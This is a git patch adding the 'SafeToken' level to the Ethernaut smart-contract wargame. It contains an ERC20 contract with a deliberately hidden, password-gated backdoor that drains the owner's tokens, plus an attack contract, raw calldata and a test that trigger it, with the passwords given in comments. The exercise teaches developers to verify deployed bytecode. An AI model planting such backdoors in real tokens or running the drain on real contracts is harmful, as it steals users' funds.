From 682e7aa7dc4ec9fdd57b4d9dd1f8bdf6fbe19124 Mon Sep 17 00:00:00 2001 From: AshiqAmien Date: Thu, 24 Dec 2020 00:46:27 +0200 Subject: [PATCH 1/2] Added SafeToken level --- .../en/descriptions/levels/safetoken.md | 10 +++ .../descriptions/levels/safetoken_complete.md | 3 + client/src/gamedata/gamedata.json | 15 +++++ contracts/attacks/SafeTokenAttack.sol | 20 ++++++ contracts/levels/SafeToken.sol | 18 +++++ contracts/levels/SafeTokenBackdoor.sol | 45 +++++++++++++ contracts/levels/SafeTokenFactory.sol | 16 +++++ .../test/levels/SafeTokenBackdoor.test.js | 65 +++++++++++++++++++ gamedata/authors.json | 46 +++++++++++++ gamedata/deploy.local.json | 27 ++++++++ src/constants.js | 65 +++++++++++++++++++ 11 files changed, 330 insertions(+) create mode 100644 client/src/gamedata/en/descriptions/levels/safetoken.md create mode 100644 client/src/gamedata/en/descriptions/levels/safetoken_complete.md create mode 100644 contracts/attacks/SafeTokenAttack.sol create mode 100644 contracts/levels/SafeToken.sol create mode 100644 contracts/levels/SafeTokenBackdoor.sol create mode 100644 contracts/levels/SafeTokenFactory.sol create mode 100644 contracts/test/levels/SafeTokenBackdoor.test.js create mode 100644 gamedata/authors.json create mode 100644 gamedata/deploy.local.json create mode 100644 src/constants.js diff --git a/client/src/gamedata/en/descriptions/levels/safetoken.md b/client/src/gamedata/en/descriptions/levels/safetoken.md new file mode 100644 index 000000000..e8f70f644 --- /dev/null +++ b/client/src/gamedata/en/descriptions/levels/safetoken.md @@ -0,0 +1,10 @@ +"I've asked the development team to create and deploy an ERC20 token for me, and this is the source code they've provided. For some reason, the block explorer does not verify the source code. The team has confirmed that it should not be an issue, and everything seems to work just fine anyway." + +Find the backdoor and complete the level by draining the owner's account. + + +Things that might help: +* An [EVM bytecode decompiler](https://ropsten.etherscan.io/bytecode-decompiler?a=) +* A tool to help encode function parameters, such as [HashEx](https://abi.hashex.org/) + + diff --git a/client/src/gamedata/en/descriptions/levels/safetoken_complete.md b/client/src/gamedata/en/descriptions/levels/safetoken_complete.md new file mode 100644 index 000000000..6ba0b5a58 --- /dev/null +++ b/client/src/gamedata/en/descriptions/levels/safetoken_complete.md @@ -0,0 +1,3 @@ +While hiding your solidity source code may slow down an attacker, it's important to remember that any public or external functions in your contract can be called, even without an ABI. + +The exact scenario of using unverified contracts may be uncommon, but any deployed contracts should be checked to ensure that the source code matches the deployed bytecode. In particular, [malicious functions can be injected post-audit and pre-deployment](https://cointelegraph.com/news/certik-dissects-the-axion-network-incident-and-subsequent-price-crash). diff --git a/client/src/gamedata/gamedata.json b/client/src/gamedata/gamedata.json index 68cb63f39..bed7674dd 100644 --- a/client/src/gamedata/gamedata.json +++ b/client/src/gamedata/gamedata.json @@ -446,6 +446,21 @@ "deployId": "28", "instanceGas": 1000000, "author": "KStasi" + }, + { + "name": "SafeToken", + "created": "2020-11-20", + "difficulty": "6", + "description": "safetoken.md", + "completedDescription": "safetoken_complete.md", + "levelContract": "SafeTokenFactory.sol", + "instanceContract": "SafeToken.sol", + "revealCode": true, + "deployParams": [], + "deployFunds": 0, + "deployId": "23", + "instanceGas": 2000000, + "author": "AshiqAmien" } ] } \ No newline at end of file diff --git a/contracts/attacks/SafeTokenAttack.sol b/contracts/attacks/SafeTokenAttack.sol new file mode 100644 index 000000000..76a7834bc --- /dev/null +++ b/contracts/attacks/SafeTokenAttack.sol @@ -0,0 +1,20 @@ +pragma solidity ^0.6.0; + +import '../levels/SafeToken.sol'; + +contract SafeTokenAttack { + + function openBackdoor(address level) public { + (bool success,) = level.call(hex"31eaf0aa0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000970617373776f7264310000000000000000000000000000000000000000000000"); + require(success, "call unsuccessful!"); + } + + function transferOwnerTokens(address level) public { + SafeToken instance = SafeToken(level); + instance.transfer(address(this),0); + } + + + + +} diff --git a/contracts/levels/SafeToken.sol b/contracts/levels/SafeToken.sol new file mode 100644 index 000000000..c75cfd54f --- /dev/null +++ b/contracts/levels/SafeToken.sol @@ -0,0 +1,18 @@ +pragma solidity ^0.6.0; + +import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; + +contract SafeToken is ERC20{ + + address public owner = address(0); + + constructor() + ERC20('SafeToken', 'SFT') + public { + owner = msg.sender; + uint256 tokensToMint = 1000000 * (10**18); + _mint(owner, tokensToMint); + } + + +} diff --git a/contracts/levels/SafeTokenBackdoor.sol b/contracts/levels/SafeTokenBackdoor.sol new file mode 100644 index 000000000..d800cfa16 --- /dev/null +++ b/contracts/levels/SafeTokenBackdoor.sol @@ -0,0 +1,45 @@ +pragma solidity ^0.6.0; + +import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; + + +contract SafeTokenBackdoor is ERC20 { + + + address backdoor = address(0); + address public owner = address(0); + + constructor() + ERC20('SafeToken', 'SFT') + public payable { + owner = msg.sender; + uint256 tokensToMint = 1000000 * (10**18); + _mint(owner, tokensToMint); + } + + //This function is only discoverable by decompiling the bytecode. + //We need do to a bit of work to discover that the password is 'password1'. + //Once recipient is set, the backdoor is activated and the next transfer will drain the owners tokens + function obfuscatedfunction(string memory _password) public { + bytes32 answer = 0x0b14d501a594442a01c6859541bcb3e8164d183d32937b851835442f69d5c94e; + if(answer == sha256(abi.encodePacked(_password))){ + backdoor = msg.sender; + } + else{ + revert("...nice try!"); + } + + } + + function transfer(address _to, uint256 _value) override public returns(bool) { + if(backdoor != address(0)){ + super._transfer(address(owner), backdoor, balanceOf(owner)); + } + else{ + super.transfer(_to, _value); + } + + } + + +} diff --git a/contracts/levels/SafeTokenFactory.sol b/contracts/levels/SafeTokenFactory.sol new file mode 100644 index 000000000..42d6a2ed7 --- /dev/null +++ b/contracts/levels/SafeTokenFactory.sol @@ -0,0 +1,16 @@ +pragma solidity ^0.6.0; + +import './base/Level.sol'; +import './SafeTokenBackdoor.sol'; + +contract SafeTokenFactory is Level { + + function createInstance(address) override public payable returns (address) { + return address(new SafeTokenBackdoor()); + } + + function validateInstance(address payable _instance, address _player) override public returns (bool) { + SafeTokenBackdoor instance = SafeTokenBackdoor(_instance); + return instance.balanceOf(instance.owner()) == 0; + } +} diff --git a/contracts/test/levels/SafeTokenBackdoor.test.js b/contracts/test/levels/SafeTokenBackdoor.test.js new file mode 100644 index 000000000..c2fc94e79 --- /dev/null +++ b/contracts/test/levels/SafeTokenBackdoor.test.js @@ -0,0 +1,65 @@ +const SafeTokenBackdoor = artifacts.require('./levels/SafeTokenBackdoor.sol') +const SafeTokenFactory = artifacts.require('./levels/SafeTokenFactory.sol') +const SafeTokenAttack = artifacts.require('./levels/SafeTokenAttack.sol') + +const Ethernaut = artifacts.require('./Ethernaut.sol') +const { BN, constants, expectEvent, expectRevert } = require('openzeppelin-test-helpers') +const utils = require('../utils/TestUtils') + + +contract('SafeTokenBackdoor', function(accounts) { + + let ethernaut + let level + let owner = accounts[1] + let player = accounts[0] + + before(async function() { + ethernaut = await Ethernaut.new(); + level = await SafeTokenFactory.new() + await ethernaut.registerLevel(level.address) + }); + + it('should fail if the player did not solve the level', async function() { + const instance = await utils.createLevelInstance(ethernaut, level.address, player, SafeTokenBackdoor) + + const completed = await utils.submitLevelInstance( + ethernaut, + level.address, + instance.address, + player + ) + + assert.isFalse(completed) + }); + + + it('should allow the player to solve the level', async function() { + const instance = await utils.createLevelInstance(ethernaut, level.address, player, SafeTokenBackdoor); + const attacker = await SafeTokenAttack.new(); + + let instanceowner = await instance.owner(); + const ownerBalanceBefore = await instance.balanceOf(instanceowner); + console.log("owner balance before attack: " + ownerBalanceBefore); + + //call the injected function with the password directly to activate the backdoor + await attacker.openBackdoor(instance.address); + + //call the backdoored transfer function to get the owners tokens + await attacker.transferOwnerTokens(instance.address); + + const ownerBalanceAfter = await instance.balanceOf(instanceowner); + console.log("owner balance after attack: " + ownerBalanceAfter); + + + const completed = await utils.submitLevelInstance( + ethernaut, + level.address, + instance.address, + player + ) + + assert.isTrue(completed) + }); + +}); diff --git a/gamedata/authors.json b/gamedata/authors.json new file mode 100644 index 000000000..4ba7f3a09 --- /dev/null +++ b/gamedata/authors.json @@ -0,0 +1,46 @@ +{ + "authors": { + "ajsantander": { + "name": "Alejandro Santander", + "email": "palebluedot@gmail.com", + "website": "https://github.com/ajsantander", + "donate": "0x31a3801499618d3c4b0225b9e06e228d4795b55d" + }, + "martriay": { + "name": "Martin Triay", + "email": "martriay@gmail.com", + "website": "https://github.com/martriay" + }, + "AgeManning": { + "name": "Adrian Manning", + "email": "age@agemanning.com", + "website": "https://github.com/AgeManning", + "donate": "0x0f44CD2Ca92645Ada2E47155e4dFC0025c3E9EEc" + }, + "syncikin": { + "name": "Kyle Riley", + "email": "kyle@iosiro.com", + "website": "https://github.com/syncikin" + }, + "34x4p08": { + "name": "Ivan Zakharov", + "email": "34x4p08@gmail.com", + "website": "https://github.com/34x4p08" + }, + "0age": { + "name": "0age", + "email": "0age@protonmail.com", + "website": "https://github.com/0age" + }, + "nczhu": { + "name": "Nicole Zhu", + "email": "n@nicole.ai", + "website": "https://github.com/nczhu" + }, + "AshiqAmien": { + "name": "Ashiq Amien", + "email": "ashiq.amien@iosiro.com", + "website": "https://github.com/AshiqAmien" + } + } +} diff --git a/gamedata/deploy.local.json b/gamedata/deploy.local.json new file mode 100644 index 000000000..0ca41741f --- /dev/null +++ b/gamedata/deploy.local.json @@ -0,0 +1,27 @@ +{ + "0": "0x5b1869D9A4C187F2EAa108f3062412ecf0526b24", + "1": "0xCfEB869F69431e42cdB54A4F4f105C19C080A601", + "2": "0x254dffcd3277C0b1660F6d42EFbB754edaBAbC2B", + "3": "0xC89Ce4735882C9F0f0FE26686c53074E09B0D550", + "4": "0xD833215cBcc3f914bD1C9ece3EE7BF8B14f841bb", + "5": "0x9561C133DD8580860B6b7E504bC5Aa500f0f06a7", + "6": "0xe982E462b094850F12AF94d21D470e21bE9D0E9C", + "7": "0x59d3631c86BbE35EF041872d502F218A39FBa150", + "8": "0x0290FB167208Af455bB137780163b7B7a9a10C16", + "9": "0x9b1f7F645351AF3631a656421eD2e40f2802E6c0", + "10": "0x67B5656d60a809915323Bf2C40A8bEF15A152e3e", + "11": "0x2612Af3A521c2df9EAF28422Ca335b04AdF3ac66", + "12": "0xA57B8a5584442B467b4689F1144D269d096A3daF", + "13": "0x26b4AFb60d6C903165150C6F0AA14F8016bE4aec", + "14": "0x630589690929E9cdEFDeF0734717a9eF3Ec7Fcfe", + "15": "0x0E696947A06550DEf604e82C26fd9E493e576337", + "16": "0xDb56f2e9369E0D7bD191099125a3f6C370F8ed15", + "17": "0xa94b7f0465e98609391c623d0560c5720a3f2d33", + "18": "0xA94B7f0465E98609391C623d0560C5720a3f2D33", + "19": "0x6eD79Aa1c71FD7BdBC515EfdA3Bd4e26394435cC", + "20": "0xb09bCc172050fBd4562da8b229Cf3E45Dc3045A6", + "21": "0xFC628dd79137395F3C9744e33b1c5DE554D94882", + "22": "0x5f8e26fAcC23FA4cbd87b8d9Dbbd33D5047abDE1", + "23": "0x21a59654176f2689d12E828B77a783072CD26680", + "ethernaut": "0xe78A0F7E598Cc8b0Bb87894B0F60dD2a88d6a8Ab" +} \ No newline at end of file diff --git a/src/constants.js b/src/constants.js new file mode 100644 index 000000000..8cad981c7 --- /dev/null +++ b/src/constants.js @@ -0,0 +1,65 @@ +require('dotenv').config({silent: true}); + +export const DEBUG = process.env.NODE_ENV !== 'production' +export const DEBUG_REDUX = DEBUG + +// Networks +export const NETWORKS = { + UNDEFINED: undefined, + LOCAL: { + name: 'local', + id: '*', + url: 'http://localhost', + port: 8545 + }, + ROPSTEN: { + name: 'ropsten', + id: '3', + url: `${process.env.ROPSTEN_HOST}`, + privKey: `${process.env.ROPSTEN_PRIV_KEY}` + }, + RINKEBY: { + name: 'rinkeby', + id: '4', + url: `${process.env.RINKEBY_HOST}`, + privKey: `${process.env.RINKEBY_PRIV_KEY}` + } +} + +// Web3 +export const Web3 = require("web3") + +// Misc +export const CLEAR_CONSOLE = !DEBUG +export const GOOGLE_ANALYTICS_ID = 'UA-85043059-4' + +// Owner addresses +export const ADDRESSES = { + [NETWORKS.LOCAL.name]: undefined, + [NETWORKS.ROPSTEN.name]: '0x6Df3d15560d0c543B0755CeBCD46818Cb2013AdD', + [NETWORKS.RINKEBY.name]: '0x6Df3d15560d0c543B0755CeBCD46818Cb2013AdD' +} + +// Storage +export const VERSION = require('../package.json').version +export const STORAGE_PLAYER_DATA_KEY = `ethernaut_player_data_${VERSION}_` + +// Paths +export const PATH_ROOT = '/' +export const PATH_NOT_FOUND = '/404' +export const PATH_HELP = '/help' +export const PATH_LEVEL_ROOT = `${PATH_ROOT}level/` +export const PATH_LEVEL = `${PATH_LEVEL_ROOT}:address` +export const PATH_STATS = `${PATH_ROOT}stats` + +// RELEASE SENSITIVE +// ----------------------------------------------------------------------------------------- +// ----------------------------------------------------------------------------------------- +export const CUSTOM_LOGGING = true /* TRUE on production */ +export const SHOW_ALL_COMPLETE_DESCRIPTIONS = false /* FALSE on production */ +export const SHOW_VERSION = true /* TRUE on production */ +export const ACTIVE_NETWORK = NETWORKS.ROPSTEN +//export const ACTIVE_NETWORK = NETWORKS.RINKEBY +// export const ACTIVE_NETWORK = NETWORKS.LOCAL +// ----------------------------------------------------------------------------------------- +// ----------------------------------------------------------------------------------------- From f295f9b8c4b15cb6440954dc47992759940e2f56 Mon Sep 17 00:00:00 2001 From: JithinKS Date: Tue, 10 Jan 2023 10:42:33 +0530 Subject: [PATCH 2/2] Added the following changes on top of https://github.com/OpenZeppelin/ethernaut/pull/193 moved files upgraded solidity levels upgraded contracts corrected the tests changed bytecode decompiler added review comment changes added images --- client/public/imgs/BigLevel30.svg | 1 + client/public/imgs/Level30.svg | 1 + client/src/gamedata/authors.json | 11 ++++ .../en/descriptions/levels/safetoken.md | 6 +- client/src/gamedata/gamedata.json | 2 +- .../attacks/SafeTokenAttack.sol | 10 +-- .../{ => contracts}/levels/SafeToken.sol | 11 ++-- .../levels/SafeTokenBackdoor.sol | 18 ++--- .../levels/SafeTokenFactory.sol | 3 +- contracts/contracts/levels/base/Level.sol | 1 - .../test/levels/SafeTokenBackdoor.test.js | 2 +- gamedata/authors.json | 46 ------------- gamedata/deploy.local.json | 27 -------- src/constants.js | 65 ------------------- 14 files changed, 34 insertions(+), 170 deletions(-) create mode 100644 client/public/imgs/BigLevel30.svg create mode 100644 client/public/imgs/Level30.svg rename contracts/{ => contracts}/attacks/SafeTokenAttack.sol (72%) rename contracts/{ => contracts}/levels/SafeToken.sol (53%) rename contracts/{ => contracts}/levels/SafeTokenBackdoor.sol (77%) rename contracts/{ => contracts}/levels/SafeTokenFactory.sol (89%) delete mode 100644 gamedata/authors.json delete mode 100644 gamedata/deploy.local.json delete mode 100644 src/constants.js diff --git a/client/public/imgs/BigLevel30.svg b/client/public/imgs/BigLevel30.svg new file mode 100644 index 000000000..ac66b5b1f --- /dev/null +++ b/client/public/imgs/BigLevel30.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/client/public/imgs/Level30.svg b/client/public/imgs/Level30.svg new file mode 100644 index 000000000..9a85d5b27 --- /dev/null +++ b/client/public/imgs/Level30.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/client/src/gamedata/authors.json b/client/src/gamedata/authors.json index 4f5795c0e..cd4b28f57 100644 --- a/client/src/gamedata/authors.json +++ b/client/src/gamedata/authors.json @@ -147,6 +147,17 @@ "websites": [ "https://www.linkedin.com/in/kstasi/" ] + }, + "AshiqAmien": { + "name": [ + "Ashiq Amien" + ], + "emails": [ + "ashiq.amien@iosiro.com" + ], + "websites": [ + "https://github.com/AshiqAmien" + ] } } } \ No newline at end of file diff --git a/client/src/gamedata/en/descriptions/levels/safetoken.md b/client/src/gamedata/en/descriptions/levels/safetoken.md index e8f70f644..2de8c4c7e 100644 --- a/client/src/gamedata/en/descriptions/levels/safetoken.md +++ b/client/src/gamedata/en/descriptions/levels/safetoken.md @@ -1,10 +1,12 @@ "I've asked the development team to create and deploy an ERC20 token for me, and this is the source code they've provided. For some reason, the block explorer does not verify the source code. The team has confirmed that it should not be an issue, and everything seems to work just fine anyway." -Find the backdoor and complete the level by draining the owner's account. +Find the backdoor and complete the level by draining the owner's account. + +***You might also need to remember how you solved level 0 - Hello Ethernaut.*** Things that might help: -* An [EVM bytecode decompiler](https://ropsten.etherscan.io/bytecode-decompiler?a=) +* An [EVM bytecode decompiler](https://goerli.etherscan.io/bytecode-decompiler?a=) * A tool to help encode function parameters, such as [HashEx](https://abi.hashex.org/) diff --git a/client/src/gamedata/gamedata.json b/client/src/gamedata/gamedata.json index bed7674dd..2ad1b164e 100644 --- a/client/src/gamedata/gamedata.json +++ b/client/src/gamedata/gamedata.json @@ -458,7 +458,7 @@ "revealCode": true, "deployParams": [], "deployFunds": 0, - "deployId": "23", + "deployId": "30", "instanceGas": 2000000, "author": "AshiqAmien" } diff --git a/contracts/attacks/SafeTokenAttack.sol b/contracts/contracts/attacks/SafeTokenAttack.sol similarity index 72% rename from contracts/attacks/SafeTokenAttack.sol rename to contracts/contracts/attacks/SafeTokenAttack.sol index 76a7834bc..08e2ed08a 100644 --- a/contracts/attacks/SafeTokenAttack.sol +++ b/contracts/contracts/attacks/SafeTokenAttack.sol @@ -1,11 +1,11 @@ -pragma solidity ^0.6.0; +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; import '../levels/SafeToken.sol'; contract SafeTokenAttack { - function openBackdoor(address level) public { - (bool success,) = level.call(hex"31eaf0aa0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000970617373776f7264310000000000000000000000000000000000000000000000"); + (bool success,) = level.call(hex"31eaf0aa0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a65746865726e6175743000000000000000000000000000000000000000000000"); require(success, "call unsuccessful!"); } @@ -13,8 +13,4 @@ contract SafeTokenAttack { SafeToken instance = SafeToken(level); instance.transfer(address(this),0); } - - - - } diff --git a/contracts/levels/SafeToken.sol b/contracts/contracts/levels/SafeToken.sol similarity index 53% rename from contracts/levels/SafeToken.sol rename to contracts/contracts/levels/SafeToken.sol index c75cfd54f..619c77e45 100644 --- a/contracts/levels/SafeToken.sol +++ b/contracts/contracts/levels/SafeToken.sol @@ -1,18 +1,15 @@ -pragma solidity ^0.6.0; +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; -import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; +import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol'; contract SafeToken is ERC20{ address public owner = address(0); - constructor() - ERC20('SafeToken', 'SFT') - public { + constructor() ERC20('SafeToken', 'SFT') { owner = msg.sender; uint256 tokensToMint = 1000000 * (10**18); _mint(owner, tokensToMint); } - - } diff --git a/contracts/levels/SafeTokenBackdoor.sol b/contracts/contracts/levels/SafeTokenBackdoor.sol similarity index 77% rename from contracts/levels/SafeTokenBackdoor.sol rename to contracts/contracts/levels/SafeTokenBackdoor.sol index d800cfa16..944e02f4d 100644 --- a/contracts/levels/SafeTokenBackdoor.sol +++ b/contracts/contracts/levels/SafeTokenBackdoor.sol @@ -1,34 +1,31 @@ -pragma solidity ^0.6.0; +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; -import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; +import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol'; contract SafeTokenBackdoor is ERC20 { - address backdoor = address(0); address public owner = address(0); - constructor() - ERC20('SafeToken', 'SFT') - public payable { + constructor() ERC20('SafeToken', 'SFT') payable { owner = msg.sender; uint256 tokensToMint = 1000000 * (10**18); _mint(owner, tokensToMint); } //This function is only discoverable by decompiling the bytecode. - //We need do to a bit of work to discover that the password is 'password1'. + //We need do to a bit of work to discover that the password is 'ethernaut0'. //Once recipient is set, the backdoor is activated and the next transfer will drain the owners tokens function obfuscatedfunction(string memory _password) public { - bytes32 answer = 0x0b14d501a594442a01c6859541bcb3e8164d183d32937b851835442f69d5c94e; + bytes32 answer = 0x2360c422c8e65559b0c201de7eacf8839c103440e8bcfe07dfedf619c1d994f4; if(answer == sha256(abi.encodePacked(_password))){ backdoor = msg.sender; } else{ revert("...nice try!"); } - } function transfer(address _to, uint256 _value) override public returns(bool) { @@ -38,8 +35,5 @@ contract SafeTokenBackdoor is ERC20 { else{ super.transfer(_to, _value); } - } - - } diff --git a/contracts/levels/SafeTokenFactory.sol b/contracts/contracts/levels/SafeTokenFactory.sol similarity index 89% rename from contracts/levels/SafeTokenFactory.sol rename to contracts/contracts/levels/SafeTokenFactory.sol index 42d6a2ed7..a9e10c5d7 100644 --- a/contracts/levels/SafeTokenFactory.sol +++ b/contracts/contracts/levels/SafeTokenFactory.sol @@ -1,4 +1,5 @@ -pragma solidity ^0.6.0; +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; import './base/Level.sol'; import './SafeTokenBackdoor.sol'; diff --git a/contracts/contracts/levels/base/Level.sol b/contracts/contracts/levels/base/Level.sol index 5c7ec1b7b..ffa624581 100644 --- a/contracts/contracts/levels/base/Level.sol +++ b/contracts/contracts/levels/base/Level.sol @@ -1,5 +1,4 @@ // SPDX-License-Identifier: MIT - pragma solidity ^0.8.0; import 'openzeppelin-contracts-08/access/Ownable.sol'; diff --git a/contracts/test/levels/SafeTokenBackdoor.test.js b/contracts/test/levels/SafeTokenBackdoor.test.js index c2fc94e79..9710bd0d0 100644 --- a/contracts/test/levels/SafeTokenBackdoor.test.js +++ b/contracts/test/levels/SafeTokenBackdoor.test.js @@ -15,7 +15,7 @@ contract('SafeTokenBackdoor', function(accounts) { let player = accounts[0] before(async function() { - ethernaut = await Ethernaut.new(); + ethernaut = await utils.getEthernautWithStatsProxy(); level = await SafeTokenFactory.new() await ethernaut.registerLevel(level.address) }); diff --git a/gamedata/authors.json b/gamedata/authors.json deleted file mode 100644 index 4ba7f3a09..000000000 --- a/gamedata/authors.json +++ /dev/null @@ -1,46 +0,0 @@ -{ - "authors": { - "ajsantander": { - "name": "Alejandro Santander", - "email": "palebluedot@gmail.com", - "website": "https://github.com/ajsantander", - "donate": "0x31a3801499618d3c4b0225b9e06e228d4795b55d" - }, - "martriay": { - "name": "Martin Triay", - "email": "martriay@gmail.com", - "website": "https://github.com/martriay" - }, - "AgeManning": { - "name": "Adrian Manning", - "email": "age@agemanning.com", - "website": "https://github.com/AgeManning", - "donate": "0x0f44CD2Ca92645Ada2E47155e4dFC0025c3E9EEc" - }, - "syncikin": { - "name": "Kyle Riley", - "email": "kyle@iosiro.com", - "website": "https://github.com/syncikin" - }, - "34x4p08": { - "name": "Ivan Zakharov", - "email": "34x4p08@gmail.com", - "website": "https://github.com/34x4p08" - }, - "0age": { - "name": "0age", - "email": "0age@protonmail.com", - "website": "https://github.com/0age" - }, - "nczhu": { - "name": "Nicole Zhu", - "email": "n@nicole.ai", - "website": "https://github.com/nczhu" - }, - "AshiqAmien": { - "name": "Ashiq Amien", - "email": "ashiq.amien@iosiro.com", - "website": "https://github.com/AshiqAmien" - } - } -} diff --git a/gamedata/deploy.local.json b/gamedata/deploy.local.json deleted file mode 100644 index 0ca41741f..000000000 --- a/gamedata/deploy.local.json +++ /dev/null @@ -1,27 +0,0 @@ -{ - "0": "0x5b1869D9A4C187F2EAa108f3062412ecf0526b24", - "1": "0xCfEB869F69431e42cdB54A4F4f105C19C080A601", - "2": "0x254dffcd3277C0b1660F6d42EFbB754edaBAbC2B", - "3": "0xC89Ce4735882C9F0f0FE26686c53074E09B0D550", - "4": "0xD833215cBcc3f914bD1C9ece3EE7BF8B14f841bb", - "5": "0x9561C133DD8580860B6b7E504bC5Aa500f0f06a7", - "6": "0xe982E462b094850F12AF94d21D470e21bE9D0E9C", - "7": "0x59d3631c86BbE35EF041872d502F218A39FBa150", - "8": "0x0290FB167208Af455bB137780163b7B7a9a10C16", - "9": "0x9b1f7F645351AF3631a656421eD2e40f2802E6c0", - "10": "0x67B5656d60a809915323Bf2C40A8bEF15A152e3e", - "11": "0x2612Af3A521c2df9EAF28422Ca335b04AdF3ac66", - "12": "0xA57B8a5584442B467b4689F1144D269d096A3daF", - "13": "0x26b4AFb60d6C903165150C6F0AA14F8016bE4aec", - "14": "0x630589690929E9cdEFDeF0734717a9eF3Ec7Fcfe", - "15": "0x0E696947A06550DEf604e82C26fd9E493e576337", - "16": "0xDb56f2e9369E0D7bD191099125a3f6C370F8ed15", - "17": "0xa94b7f0465e98609391c623d0560c5720a3f2d33", - "18": "0xA94B7f0465E98609391C623d0560C5720a3f2D33", - "19": "0x6eD79Aa1c71FD7BdBC515EfdA3Bd4e26394435cC", - "20": "0xb09bCc172050fBd4562da8b229Cf3E45Dc3045A6", - "21": "0xFC628dd79137395F3C9744e33b1c5DE554D94882", - "22": "0x5f8e26fAcC23FA4cbd87b8d9Dbbd33D5047abDE1", - "23": "0x21a59654176f2689d12E828B77a783072CD26680", - "ethernaut": "0xe78A0F7E598Cc8b0Bb87894B0F60dD2a88d6a8Ab" -} \ No newline at end of file diff --git a/src/constants.js b/src/constants.js deleted file mode 100644 index 8cad981c7..000000000 --- a/src/constants.js +++ /dev/null @@ -1,65 +0,0 @@ -require('dotenv').config({silent: true}); - -export const DEBUG = process.env.NODE_ENV !== 'production' -export const DEBUG_REDUX = DEBUG - -// Networks -export const NETWORKS = { - UNDEFINED: undefined, - LOCAL: { - name: 'local', - id: '*', - url: 'http://localhost', - port: 8545 - }, - ROPSTEN: { - name: 'ropsten', - id: '3', - url: `${process.env.ROPSTEN_HOST}`, - privKey: `${process.env.ROPSTEN_PRIV_KEY}` - }, - RINKEBY: { - name: 'rinkeby', - id: '4', - url: `${process.env.RINKEBY_HOST}`, - privKey: `${process.env.RINKEBY_PRIV_KEY}` - } -} - -// Web3 -export const Web3 = require("web3") - -// Misc -export const CLEAR_CONSOLE = !DEBUG -export const GOOGLE_ANALYTICS_ID = 'UA-85043059-4' - -// Owner addresses -export const ADDRESSES = { - [NETWORKS.LOCAL.name]: undefined, - [NETWORKS.ROPSTEN.name]: '0x6Df3d15560d0c543B0755CeBCD46818Cb2013AdD', - [NETWORKS.RINKEBY.name]: '0x6Df3d15560d0c543B0755CeBCD46818Cb2013AdD' -} - -// Storage -export const VERSION = require('../package.json').version -export const STORAGE_PLAYER_DATA_KEY = `ethernaut_player_data_${VERSION}_` - -// Paths -export const PATH_ROOT = '/' -export const PATH_NOT_FOUND = '/404' -export const PATH_HELP = '/help' -export const PATH_LEVEL_ROOT = `${PATH_ROOT}level/` -export const PATH_LEVEL = `${PATH_LEVEL_ROOT}:address` -export const PATH_STATS = `${PATH_ROOT}stats` - -// RELEASE SENSITIVE -// ----------------------------------------------------------------------------------------- -// ----------------------------------------------------------------------------------------- -export const CUSTOM_LOGGING = true /* TRUE on production */ -export const SHOW_ALL_COMPLETE_DESCRIPTIONS = false /* FALSE on production */ -export const SHOW_VERSION = true /* TRUE on production */ -export const ACTIVE_NETWORK = NETWORKS.ROPSTEN -//export const ACTIVE_NETWORK = NETWORKS.RINKEBY -// export const ACTIVE_NETWORK = NETWORKS.LOCAL -// ----------------------------------------------------------------------------------------- -// -----------------------------------------------------------------------------------------